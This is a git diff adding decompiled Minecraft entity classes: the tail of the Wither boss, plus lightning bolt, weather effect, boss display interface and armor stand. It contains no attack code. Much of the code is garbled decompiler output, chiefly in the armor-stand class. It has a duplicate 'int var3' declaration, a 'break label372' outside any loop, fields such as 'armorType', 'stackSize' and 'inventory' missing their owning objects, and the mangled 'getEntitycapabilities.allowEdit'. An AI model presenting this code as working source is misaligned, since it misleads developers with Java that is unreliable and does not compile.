+      var4 = -p_82204_3_;
+    }
+    
+    return p_82204_1_ + var4;
+  }
+  
+  private void launchWitherSkullToEntity(int p_82216_1_, EntityLivingBase p_82216_2_)
+  {
+    launchWitherSkullToCoords(p_82216_1_, posX, posY + p_82216_2_.getEyeHeight() * 0.5D, posZ, (p_82216_1_ == 0) && (rand.nextFloat() < 0.001F));
+  }
+  
+
+
+
+  private void launchWitherSkullToCoords(int p_82209_1_, double p_82209_2_, double p_82209_4_, double p_82209_6_, boolean p_82209_8_)
+  {
+    worldObj.playAuxSFXAtEntity(null, 1014, new BlockPos(this), 0);
+    double var9 = func_82214_u(p_82209_1_);
+    double var11 = func_82208_v(p_82209_1_);
+    double var13 = func_82213_w(p_82209_1_);
+    double var15 = p_82209_2_ - var9;
+    double var17 = p_82209_4_ - var11;
+    double var19 = p_82209_6_ - var13;
+    EntityWitherSkull var21 = new EntityWitherSkull(worldObj, this, var15, var17, var19);
+    
+    if (p_82209_8_)
+    {
+      var21.setInvulnerable(true);
+    }
+    
+    posY = var11;
+    posX = var9;
+    posZ = var13;
+    worldObj.spawnEntityInWorld(var21);
+  }
+  
+
+
+
+  public void attackEntityWithRangedAttack(EntityLivingBase p_82196_1_, float p_82196_2_)
+  {
+    launchWitherSkullToEntity(0, p_82196_1_);
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if ((source != DamageSource.drown) && (!(source.getEntity() instanceof EntityWither)))
+    {
+      if ((getInvulTime() > 0) && (source != DamageSource.outOfWorld))
+      {
+        return false;
+      }
+      
+
+
+
+      if (isArmored())
+      {
+        Entity var3 = source.getSourceOfDamage();
+        
+        if ((var3 instanceof EntityArrow))
+        {
+          return false;
+        }
+      }
+      
+      Entity var3 = source.getEntity();
+      
+      if ((var3 != null) && (!(var3 instanceof EntityPlayer)) && ((var3 instanceof EntityLivingBase)) && (((EntityLivingBase)var3).getCreatureAttribute() == getCreatureAttribute()))
+      {
+        return false;
+      }
+      
+
+      if (field_82222_j <= 0)
+      {
+        field_82222_j = 20;
+      }
+      
+      for (int var4 = 0; var4 < field_82224_i.length; var4++)
+      {
+        field_82224_i[var4] += 3;
+      }
+      
+      return super.attackEntityFrom(source, amount);
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    EntityItem var3 = dropItem(net.minecraft.init.Items.nether_star, 1);
+    
+    if (var3 != null)
+    {
+      var3.func_174873_u();
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      Iterator var4 = worldObj.getEntitiesWithinAABB(EntityPlayer.class, getEntityBoundingBox().expand(50.0D, 100.0D, 50.0D)).iterator();
+      
+      while (var4.hasNext())
+      {
+        EntityPlayer var5 = (EntityPlayer)var4.next();
+        var5.triggerAchievement(net.minecraft.stats.AchievementList.killWither);
+      }
+    }
+  }
+  
+
+
+
+  protected void despawnEntity()
+  {
+    entityAge = 0;
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 15728880;
+  }
+  
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  public void addPotionEffect(PotionEffect p_70690_1_) {}
+  
+
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(300.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.6000000238418579D);
+    getEntityAttribute(SharedMonsterAttributes.followRange).setBaseValue(40.0D);
+  }
+  
+  public float func_82207_a(int p_82207_1_)
+  {
+    return field_82221_e[p_82207_1_];
+  }
+  
+  public float func_82210_r(int p_82210_1_)
+  {
+    return field_82220_d[p_82210_1_];
+  }
+  
+  public int getInvulTime()
+  {
+    return dataWatcher.getWatchableObjectInt(20);
+  }
+  
+  public void setInvulTime(int p_82215_1_)
+  {
+    dataWatcher.updateObject(20, Integer.valueOf(p_82215_1_));
+  }
+  
+
+
+
+  public int getWatchedTargetId(int p_82203_1_)
+  {
+    return dataWatcher.getWatchableObjectInt(17 + p_82203_1_);
+  }
+  
+  public void func_82211_c(int p_82211_1_, int p_82211_2_)
+  {
+    dataWatcher.updateObject(17 + p_82211_1_, Integer.valueOf(p_82211_2_));
+  }
+  
+
+
+
+
+  public boolean isArmored()
+  {
+    return getHealth() <= getMaxHealth() / 2.0F;
+  }
+  
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.UNDEAD;
+  }
+  
+
+
+
+  public void mountEntity(Entity entityIn)
+  {
+    ridingEntity = null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/boss/IBossDisplayData.java b/src/minecraft/net/minecraft/entity/boss/IBossDisplayData.java
new file mode 100644
index 0000000..1091ee7
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/boss/IBossDisplayData.java
@@ -0,0 +1,12 @@
+package net.minecraft.entity.boss;
+
+import net.minecraft.util.IChatComponent;
+
+public abstract interface IBossDisplayData
+{
+  public abstract float getMaxHealth();
+  
+  public abstract float getHealth();
+  
+  public abstract IChatComponent getDisplayName();
+}
diff --git a/src/minecraft/net/minecraft/entity/effect/EntityLightningBolt.java b/src/minecraft/net/minecraft/entity/effect/EntityLightningBolt.java
new file mode 100644
index 0000000..07c55cf
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/effect/EntityLightningBolt.java
@@ -0,0 +1,120 @@
+package net.minecraft.entity.effect;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFire;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+
+
+
+
+
+public class EntityLightningBolt
+  extends EntityWeatherEffect
+{
+  private int lightningState;
+  public long boltVertex;
+  private int boltLivingTime;
+  private static final String __OBFID = "CL_00001666";
+  
+  public EntityLightningBolt(World worldIn, double p_i1703_2_, double p_i1703_4_, double p_i1703_6_)
+  {
+    super(worldIn);
+    setLocationAndAngles(p_i1703_2_, p_i1703_4_, p_i1703_6_, 0.0F, 0.0F);
+    lightningState = 2;
+    boltVertex = rand.nextLong();
+    boltLivingTime = (rand.nextInt(3) + 1);
+    
+    if ((!isRemote) && (worldIn.getGameRules().getGameRuleBooleanValue("doFireTick")) && ((worldIn.getDifficulty() == EnumDifficulty.NORMAL) || (worldIn.getDifficulty() == EnumDifficulty.HARD)) && (worldIn.isAreaLoaded(new BlockPos(this), 10)))
+    {
+      BlockPos var8 = new BlockPos(this);
+      
+      if ((worldIn.getBlockState(var8).getBlock().getMaterial() == Material.air) && (Blocks.fire.canPlaceBlockAt(worldIn, var8)))
+      {
+        worldIn.setBlockState(var8, Blocks.fire.getDefaultState());
+      }
+      
+      for (int var9 = 0; var9 < 4; var9++)
+      {
+        BlockPos var10 = var8.add(rand.nextInt(3) - 1, rand.nextInt(3) - 1, rand.nextInt(3) - 1);
+        
+        if ((worldIn.getBlockState(var10).getBlock().getMaterial() == Material.air) && (Blocks.fire.canPlaceBlockAt(worldIn, var10)))
+        {
+          worldIn.setBlockState(var10, Blocks.fire.getDefaultState());
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (lightningState == 2)
+    {
+      worldObj.playSoundEffect(posX, posY, posZ, "ambient.weather.thunder", 10000.0F, 0.8F + rand.nextFloat() * 0.2F);
+      worldObj.playSoundEffect(posX, posY, posZ, "random.explode", 2.0F, 0.5F + rand.nextFloat() * 0.2F);
+    }
+    
+    lightningState -= 1;
+    
+    if (lightningState < 0)
+    {
+      if (boltLivingTime == 0)
+      {
+        setDead();
+      }
+      else if (lightningState < -rand.nextInt(10))
+      {
+        boltLivingTime -= 1;
+        lightningState = 1;
+        boltVertex = rand.nextLong();
+        BlockPos var1 = new BlockPos(this);
+        
+        if ((!worldObj.isRemote) && (worldObj.getGameRules().getGameRuleBooleanValue("doFireTick")) && (worldObj.isAreaLoaded(var1, 10)) && (worldObj.getBlockState(var1).getBlock().getMaterial() == Material.air) && (Blocks.fire.canPlaceBlockAt(worldObj, var1)))
+        {
+          worldObj.setBlockState(var1, Blocks.fire.getDefaultState());
+        }
+      }
+    }
+    
+    if (lightningState >= 0)
+    {
+      if (worldObj.isRemote)
+      {
+        worldObj.setLastLightningBolt(2);
+      }
+      else
+      {
+        double var6 = 3.0D;
+        List var3 = worldObj.getEntitiesWithinAABBExcludingEntity(this, new AxisAlignedBB(posX - var6, posY - var6, posZ - var6, posX + var6, posY + 6.0D + var6, posZ + var6));
+        
+        for (int var4 = 0; var4 < var3.size(); var4++)
+        {
+          Entity var5 = (Entity)var3.get(var4);
+          var5.onStruckByLightning(this);
+        }
+      }
+    }
+  }
+  
+  protected void entityInit() {}
+  
+  protected void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+  protected void writeEntityToNBT(NBTTagCompound tagCompound) {}
+}
diff --git a/src/minecraft/net/minecraft/entity/effect/EntityWeatherEffect.java b/src/minecraft/net/minecraft/entity/effect/EntityWeatherEffect.java
new file mode 100644
index 0000000..8e4a135
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/effect/EntityWeatherEffect.java
@@ -0,0 +1,14 @@
+package net.minecraft.entity.effect;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.world.World;
+
+public abstract class EntityWeatherEffect extends Entity
+{
+  private static final String __OBFID = "CL_00001665";
+  
+  public EntityWeatherEffect(World worldIn)
+  {
+    super(worldIn);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityArmorStand.java b/src/minecraft/net/minecraft/entity/item/EntityArmorStand.java
new file mode 100644
index 0000000..242bbf3
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityArmorStand.java
@@ -0,0 +1,877 @@
+package net.minecraft.entity.item;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.Rotations;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+
+public class EntityArmorStand extends EntityLivingBase
+{
+  private static final Rotations DEFAULT_HEAD_ROTATION = new Rotations(0.0F, 0.0F, 0.0F);
+  private static final Rotations DEFAULT_BODY_ROTATION = new Rotations(0.0F, 0.0F, 0.0F);
+  private static final Rotations DEFAULT_LEFTARM_ROTATION = new Rotations(-10.0F, 0.0F, -10.0F);
+  private static final Rotations DEFAULT_RIGHTARM_ROTATION = new Rotations(-15.0F, 0.0F, 10.0F);
+  private static final Rotations DEFAULT_LEFTLEG_ROTATION = new Rotations(-1.0F, 0.0F, -1.0F);
+  private static final Rotations DEFAULT_RIGHTLEG_ROTATION = new Rotations(1.0F, 0.0F, 1.0F);
+  private final ItemStack[] contents;
+  private boolean canInteract;
+  private long field_175437_i;
+  private int disabledSlots;
+  private Rotations headRotation;
+  private Rotations bodyRotation;
+  private Rotations leftArmRotation;
+  private Rotations rightArmRotation;
+  private Rotations leftLegRotation;
+  private Rotations rightLegRotation;
+  private static final String __OBFID = "CL_00002228";
+  
+  public EntityArmorStand(World worldIn)
+  {
+    super(worldIn);
+    contents = new ItemStack[5];
+    headRotation = DEFAULT_HEAD_ROTATION;
+    bodyRotation = DEFAULT_BODY_ROTATION;
+    leftArmRotation = DEFAULT_LEFTARM_ROTATION;
+    rightArmRotation = DEFAULT_RIGHTARM_ROTATION;
+    leftLegRotation = DEFAULT_LEFTLEG_ROTATION;
+    rightLegRotation = DEFAULT_RIGHTLEG_ROTATION;
+    func_174810_b(true);
+    noClip = hasNoGravity();
+    setSize(0.5F, 1.975F);
+  }
+  
+  public EntityArmorStand(World worldIn, double p_i45855_2_, double p_i45855_4_, double p_i45855_6_)
+  {
+    this(worldIn);
+    setPosition(p_i45855_2_, p_i45855_4_, p_i45855_6_);
+  }
+  
+
+
+
+  public boolean isServerWorld()
+  {
+    return (super.isServerWorld()) && (!hasNoGravity());
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(10, Byte.valueOf((byte)0));
+    dataWatcher.addObject(11, DEFAULT_HEAD_ROTATION);
+    dataWatcher.addObject(12, DEFAULT_BODY_ROTATION);
+    dataWatcher.addObject(13, DEFAULT_LEFTARM_ROTATION);
+    dataWatcher.addObject(14, DEFAULT_RIGHTARM_ROTATION);
+    dataWatcher.addObject(15, DEFAULT_LEFTLEG_ROTATION);
+    dataWatcher.addObject(16, DEFAULT_RIGHTLEG_ROTATION);
+  }
+  
+
+
+
+  public ItemStack getHeldItem()
+  {
+    return contents[0];
+  }
+  
+
+
+
+  public ItemStack getEquipmentInSlot(int p_71124_1_)
+  {
+    return contents[p_71124_1_];
+  }
+  
+  public ItemStack getCurrentArmor(int p_82169_1_)
+  {
+    return contents[(p_82169_1_ + 1)];
+  }
+  
+
+
+
+  public void setCurrentItemOrArmor(int slotIn, ItemStack itemStackIn)
+  {
+    contents[slotIn] = itemStackIn;
+  }
+  
+
+
+
+  public ItemStack[] getInventory()
+  {
+    return contents;
+  }
+  
+  public boolean func_174820_d(int p_174820_1_, ItemStack p_174820_2_)
+  {
+    int var3;
+    int var3;
+    if (p_174820_1_ == 99)
+    {
+      var3 = 0;
+    }
+    else
+    {
+      var3 = p_174820_1_ - 100 + 1;
+      
+      if ((var3 < 0) || (var3 >= contents.length))
+      {
+        return false;
+      }
+    }
+    
+    if ((p_174820_2_ != null) && (net.minecraft.entity.EntityLiving.getArmorPosition(p_174820_2_) != var3) && ((var3 != 4) || (!(p_174820_2_.getItem() instanceof net.minecraft.item.ItemBlock))))
+    {
+      return false;
+    }
+    
+
+    setCurrentItemOrArmor(var3, p_174820_2_);
+    return true;
+  }
+  
+
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < contents.length; var3++)
+    {
+      NBTTagCompound var4 = new NBTTagCompound();
+      
+      if (contents[var3] != null)
+      {
+        contents[var3].writeToNBT(var4);
+      }
+      
+      var2.appendTag(var4);
+    }
+    
+    tagCompound.setTag("Equipment", var2);
+    
+    if ((getAlwaysRenderNameTag()) && ((getCustomNameTag() == null) || (getCustomNameTag().length() == 0)))
+    {
+      tagCompound.setBoolean("CustomNameVisible", getAlwaysRenderNameTag());
+    }
+    
+    tagCompound.setBoolean("Invisible", isInvisible());
+    tagCompound.setBoolean("Small", isSmall());
+    tagCompound.setBoolean("ShowArms", getShowArms());
+    tagCompound.setInteger("DisabledSlots", disabledSlots);
+    tagCompound.setBoolean("NoGravity", hasNoGravity());
+    tagCompound.setBoolean("NoBasePlate", hasNoBasePlate());
+    tagCompound.setTag("Pose", readPoseFromNBT());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("Equipment", 9))
+    {
+      NBTTagList var2 = tagCompund.getTagList("Equipment", 10);
+      
+      for (int var3 = 0; var3 < contents.length; var3++)
+      {
+        contents[var3] = ItemStack.loadItemStackFromNBT(var2.getCompoundTagAt(var3));
+      }
+    }
+    
+    setInvisible(tagCompund.getBoolean("Invisible"));
+    setSmall(tagCompund.getBoolean("Small"));
+    setShowArms(tagCompund.getBoolean("ShowArms"));
+    disabledSlots = tagCompund.getInteger("DisabledSlots");
+    setNoGravity(tagCompund.getBoolean("NoGravity"));
+    setNoBasePlate(tagCompund.getBoolean("NoBasePlate"));
+    noClip = hasNoGravity();
+    NBTTagCompound var4 = tagCompund.getCompoundTag("Pose");
+    writePoseToNBT(var4);
+  }
+  
+  private void writePoseToNBT(NBTTagCompound p_175416_1_)
+  {
+    NBTTagList var2 = p_175416_1_.getTagList("Head", 5);
+    
+    if (var2.tagCount() > 0)
+    {
+      setHeadRotation(new Rotations(var2));
+    }
+    else
+    {
+      setHeadRotation(DEFAULT_HEAD_ROTATION);
+    }
+    
+    NBTTagList var3 = p_175416_1_.getTagList("Body", 5);
+    
+    if (var3.tagCount() > 0)
+    {
+      setBodyRotation(new Rotations(var3));
+    }
+    else
+    {
+      setBodyRotation(DEFAULT_BODY_ROTATION);
+    }
+    
+    NBTTagList var4 = p_175416_1_.getTagList("LeftArm", 5);
+    
+    if (var4.tagCount() > 0)
+    {
+      setLeftArmRotation(new Rotations(var4));
+    }
+    else
+    {
+      setLeftArmRotation(DEFAULT_LEFTARM_ROTATION);
+    }
+    
+    NBTTagList var5 = p_175416_1_.getTagList("RightArm", 5);
+    
+    if (var5.tagCount() > 0)
+    {
+      setRightArmRotation(new Rotations(var5));
+    }
+    else
+    {
+      setRightArmRotation(DEFAULT_RIGHTARM_ROTATION);
+    }
+    
+    NBTTagList var6 = p_175416_1_.getTagList("LeftLeg", 5);
+    
+    if (var6.tagCount() > 0)
+    {
+      setLeftLegRotation(new Rotations(var6));
+    }
+    else
+    {
+      setLeftLegRotation(DEFAULT_LEFTLEG_ROTATION);
+    }
+    
+    NBTTagList var7 = p_175416_1_.getTagList("RightLeg", 5);
+    
+    if (var7.tagCount() > 0)
+    {
+      setRightLegRotation(new Rotations(var7));
+    }
+    else
+    {
+      setRightLegRotation(DEFAULT_RIGHTLEG_ROTATION);
+    }
+  }
+  
+  private NBTTagCompound readPoseFromNBT()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    
+    if (!DEFAULT_HEAD_ROTATION.equals(headRotation))
+    {
+      var1.setTag("Head", headRotation.func_179414_a());
+    }
+    
+    if (!DEFAULT_BODY_ROTATION.equals(bodyRotation))
+    {
+      var1.setTag("Body", bodyRotation.func_179414_a());
+    }
+    
+    if (!DEFAULT_LEFTARM_ROTATION.equals(leftArmRotation))
+    {
+      var1.setTag("LeftArm", leftArmRotation.func_179414_a());
+    }
+    
+    if (!DEFAULT_RIGHTARM_ROTATION.equals(rightArmRotation))
+    {
+      var1.setTag("RightArm", rightArmRotation.func_179414_a());
+    }
+    
+    if (!DEFAULT_LEFTLEG_ROTATION.equals(leftLegRotation))
+    {
+      var1.setTag("LeftLeg", leftLegRotation.func_179414_a());
+    }
+    
+    if (!DEFAULT_RIGHTLEG_ROTATION.equals(rightLegRotation))
+    {
+      var1.setTag("RightLeg", rightLegRotation.func_179414_a());
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return false;
+  }
+  
+  protected void collideWithEntity(Entity p_82167_1_) {}
+  
+  protected void collideWithNearbyEntities()
+  {
+    List var1 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox());
+    
+    if ((var1 != null) && (!var1.isEmpty()))
+    {
+      for (int var2 = 0; var2 < var1.size(); var2++)
+      {
+        Entity var3 = (Entity)var1.get(var2);
+        
+        if (((var3 instanceof EntityMinecart)) && (((EntityMinecart)var3).func_180456_s() == EntityMinecart.EnumMinecartType.RIDEABLE) && (getDistanceSqToEntity(var3) <= 0.2D))
+        {
+          var3.applyEntityCollision(this);
+        }
+      }
+    }
+  }
+  
+  public boolean func_174825_a(EntityPlayer p_174825_1_, Vec3 p_174825_2_)
+  {
+    if ((!worldObj.isRemote) && (!p_174825_1_.func_175149_v()))
+    {
+      byte var3 = 0;
+      ItemStack var4 = p_174825_1_.getCurrentEquippedItem();
+      boolean var5 = var4 != null;
+      
+      if ((var5) && ((var4.getItem() instanceof ItemArmor)))
+      {
+        ItemArmor var6 = (ItemArmor)var4.getItem();
+        
+        if (armorType == 3)
+        {
+          var3 = 1;
+        }
+        else if (armorType == 2)
+        {
+          var3 = 2;
+        }
+        else if (armorType == 1)
+        {
+          var3 = 3;
+        }
+        else if (armorType == 0)
+        {
+          var3 = 4;
+        }
+      }
+      
+      if ((var5) && ((var4.getItem() == Items.skull) || (var4.getItem() == Item.getItemFromBlock(Blocks.pumpkin))))
+      {
+        var3 = 4;
+      }
+      
+      double var19 = 0.1D;
+      double var8 = 0.9D;
+      double var10 = 0.4D;
+      double var12 = 1.6D;
+      byte var14 = 0;
+      boolean var15 = isSmall();
+      double var16 = var15 ? yCoord * 2.0D : yCoord;
+      
+      if (var16 >= 0.1D) if ((var16 < 0.1D + (var15 ? 0.8D : 0.45D)) && (contents[1] != null))
+        {
+          var14 = 1;
+          break label372; }
+      if (var16 >= 0.9D + (var15 ? 0.3D : 0.0D)) if ((var16 < 0.9D + (var15 ? 1.0D : 0.7D)) && (contents[3] != null))
+        {
+          var14 = 3;
+          break label372; }
+      if (var16 >= 0.4D) if ((var16 < 0.4D + (var15 ? 1.0D : 0.8D)) && (contents[2] != null))
+        {
+          var14 = 2;
+          break label372; }
+      if ((var16 >= 1.6D) && (contents[4] != null))
+      {
+        var14 = 4;
+      }
+      label372:
+      boolean var18 = contents[var14] != null;
+      
+      if (((disabledSlots & 1 << var14) != 0) || ((disabledSlots & 1 << var3) != 0))
+      {
+        var14 = var3;
+        
+        if ((disabledSlots & 1 << var3) != 0)
+        {
+          if ((disabledSlots & 0x1) != 0)
+          {
+            return true;
+          }
+          
+          var14 = 0;
+        }
+      }
+      
+      if ((var5) && (var3 == 0) && (!getShowArms()))
+      {
+        return true;
+      }
+      
+
+      if (var5)
+      {
+        func_175422_a(p_174825_1_, var3);
+      }
+      else if (var18)
+      {
+        func_175422_a(p_174825_1_, var14);
+      }
+      
+      return true;
+    }
+    
+
+
+    return true;
+  }
+  
+
+  private void func_175422_a(EntityPlayer p_175422_1_, int p_175422_2_)
+  {
+    ItemStack var3 = contents[p_175422_2_];
+    
+    if ((var3 == null) || ((disabledSlots & 1 << p_175422_2_ + 8) == 0))
+    {
+      if ((var3 != null) || ((disabledSlots & 1 << p_175422_2_ + 16) == 0))
+      {
+        int var4 = inventory.currentItem;
+        ItemStack var5 = inventory.getStackInSlot(var4);
+        
+
+        if ((capabilities.isCreativeMode) && ((var3 == null) || (var3.getItem() == Item.getItemFromBlock(Blocks.air))) && (var5 != null))
+        {
+          ItemStack var6 = var5.copy();
+          stackSize = 1;
+          setCurrentItemOrArmor(p_175422_2_, var6);
+        }
+        else if ((var5 != null) && (stackSize > 1))
+        {
+          if (var3 == null)
+          {
+            ItemStack var6 = var5.copy();
+            stackSize = 1;
+            setCurrentItemOrArmor(p_175422_2_, var6);
+            stackSize -= 1;
+          }
+        }
+        else
+        {
+          setCurrentItemOrArmor(p_175422_2_, var5);
+          inventory.setInventorySlotContents(var4, var3);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if ((!worldObj.isRemote) && (!canInteract))
+    {
+      if (DamageSource.outOfWorld.equals(source))
+      {
+        setDead();
+        return false;
+      }
+      if (func_180431_b(source))
+      {
+        return false;
+      }
+      if (source.isExplosion())
+      {
+        dropContents();
+        setDead();
+        return false;
+      }
+      if (DamageSource.inFire.equals(source))
+      {
+        if (!isBurning())
+        {
+          setFire(5);
+        }
+        else
+        {
+          func_175406_a(0.15F);
+        }
+        
+        return false;
+      }
+      if ((DamageSource.onFire.equals(source)) && (getHealth() > 0.5F))
+      {
+        func_175406_a(4.0F);
+        return false;
+      }
+      
+
+      boolean var3 = "arrow".equals(source.getDamageType());
+      boolean var4 = "player".equals(source.getDamageType());
+      
+      if ((!var4) && (!var3))
+      {
+        return false;
+      }
+      
+
+      if ((source.getSourceOfDamage() instanceof EntityArrow))
+      {
+        source.getSourceOfDamage().setDead();
+      }
+      
+      if (((source.getEntity() instanceof EntityPlayer)) && (!getEntitycapabilities.allowEdit))
+      {
+        return false;
+      }
+      if (source.func_180136_u())
+      {
+        playParticles();
+        setDead();
+        return false;
+      }
+      
+
+      long var5 = worldObj.getTotalWorldTime();
+      
+      if ((var5 - field_175437_i > 5L) && (!var3))
+      {
+        field_175437_i = var5;
+      }
+      else
+      {
+        dropBlock();
+        playParticles();
+        setDead();
+      }
+      
+      return false;
+    }
+    
+
+
+
+
+    return false;
+  }
+  
+
+  private void playParticles()
+  {
+    if ((worldObj instanceof WorldServer))
+    {
+      ((WorldServer)worldObj).func_175739_a(net.minecraft.util.EnumParticleTypes.BLOCK_DUST, posX, posY + height / 1.5D, posZ, 10, width / 4.0F, height / 4.0F, width / 4.0F, 0.05D, new int[] { Block.getStateId(Blocks.planks.getDefaultState()) });
+    }
+  }
+  
+  private void func_175406_a(float p_175406_1_)
+  {
+    float var2 = getHealth();
+    var2 -= p_175406_1_;
+    
+    if (var2 <= 0.5F)
+    {
+      dropContents();
+      setDead();
+    }
+    else
+    {
+      setHealth(var2);
+    }
+  }
+  
+  private void dropBlock()
+  {
+    Block.spawnAsEntity(worldObj, new BlockPos(this), new ItemStack(Items.armor_stand));
+    dropContents();
+  }
+  
+  private void dropContents()
+  {
+    for (int var1 = 0; var1 < contents.length; var1++)
+    {
+      if ((contents[var1] != null) && (contents[var1].stackSize > 0))
+      {
+        if (contents[var1] != null)
+        {
+          Block.spawnAsEntity(worldObj, new BlockPos(this).offsetUp(), contents[var1]);
+        }
+        
+        contents[var1] = null;
+      }
+    }
+  }
+  
+  protected float func_110146_f(float p_110146_1_, float p_110146_2_)
+  {
+    prevRenderYawOffset = prevRotationYaw;
+    renderYawOffset = rotationYaw;
+    return 0.0F;
+  }
+  
+  public float getEyeHeight()
+  {
+    return isChild() ? height * 0.5F : height * 0.9F;
+  }
+  
+
+
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    if (!hasNoGravity())
+    {
+      super.moveEntityWithHeading(p_70612_1_, p_70612_2_);
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    Rotations var1 = dataWatcher.getWatchableObjectRotations(11);
+    
+    if (!headRotation.equals(var1))
+    {
+      setHeadRotation(var1);
+    }
+    
+    Rotations var2 = dataWatcher.getWatchableObjectRotations(12);
+    
+    if (!bodyRotation.equals(var2))
+    {
+      setBodyRotation(var2);
+    }
+    
+    Rotations var3 = dataWatcher.getWatchableObjectRotations(13);
+    
+    if (!leftArmRotation.equals(var3))
+    {
+      setLeftArmRotation(var3);
+    }
+    
+    Rotations var4 = dataWatcher.getWatchableObjectRotations(14);
+    
+    if (!rightArmRotation.equals(var4))
+    {
+      setRightArmRotation(var4);
+    }
+    
+    Rotations var5 = dataWatcher.getWatchableObjectRotations(15);
+    
+    if (!leftLegRotation.equals(var5))
+    {
+      setLeftLegRotation(var5);
+    }
+    
+    Rotations var6 = dataWatcher.getWatchableObjectRotations(16);
+    
+    if (!rightLegRotation.equals(var6))
+    {
+      setRightLegRotation(var6);
+    }
+  }
+  
+  protected void func_175135_B()
+  {
+    setInvisible(canInteract);
+  }
+  
+  public void setInvisible(boolean invisible)
+  {
+    canInteract = invisible;
+    super.setInvisible(invisible);
+  }
+  
+
+
+
+  public boolean isChild()
+  {
+    return isSmall();
+  }
+  
+  public void func_174812_G()
+  {
+    setDead();
+  }
+  
+  public boolean func_180427_aV()
+  {
+    return isInvisible();
+  }
+  
+  private void setSmall(boolean p_175420_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(10);
+    
+    if (p_175420_1_)
+    {
+      var2 = (byte)(var2 | 0x1);
+    }
+    else
+    {
+      var2 = (byte)(var2 & 0xFFFFFFFE);
+    }
+    
+    dataWatcher.updateObject(10, Byte.valueOf(var2));
+  }
+  
+  public boolean isSmall()
+  {
+    return (dataWatcher.getWatchableObjectByte(10) & 0x1) != 0;
+  }
+  
+  private void setNoGravity(boolean p_175425_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(10);
+    
+    if (p_175425_1_)
+    {
+      var2 = (byte)(var2 | 0x2);
+    }
+    else
+    {
+      var2 = (byte)(var2 & 0xFFFFFFFD);
+    }
+    
+    dataWatcher.updateObject(10, Byte.valueOf(var2));
+  }
+  
+  public boolean hasNoGravity()
+  {
+    return (dataWatcher.getWatchableObjectByte(10) & 0x2) != 0;
+  }
+  
+  private void setShowArms(boolean p_175413_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(10);
+    
+    if (p_175413_1_)
+    {
+      var2 = (byte)(var2 | 0x4);
+    }
+    else
+    {
+      var2 = (byte)(var2 & 0xFFFFFFFB);
+    }
+    
+    dataWatcher.updateObject(10, Byte.valueOf(var2));
+  }
+  
+  public boolean getShowArms()
+  {
+    return (dataWatcher.getWatchableObjectByte(10) & 0x4) != 0;
+  }
+  
+  private void setNoBasePlate(boolean p_175426_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(10);
+    
+    if (p_175426_1_)
+    {
+      var2 = (byte)(var2 | 0x8);
+    }
+    else
+    {
+      var2 = (byte)(var2 & 0xFFFFFFF7);
+    }
+    
+    dataWatcher.updateObject(10, Byte.valueOf(var2));
+  }
+  
+  public boolean hasNoBasePlate()
+  {
+    return (dataWatcher.getWatchableObjectByte(10) & 0x8) != 0;
+  }
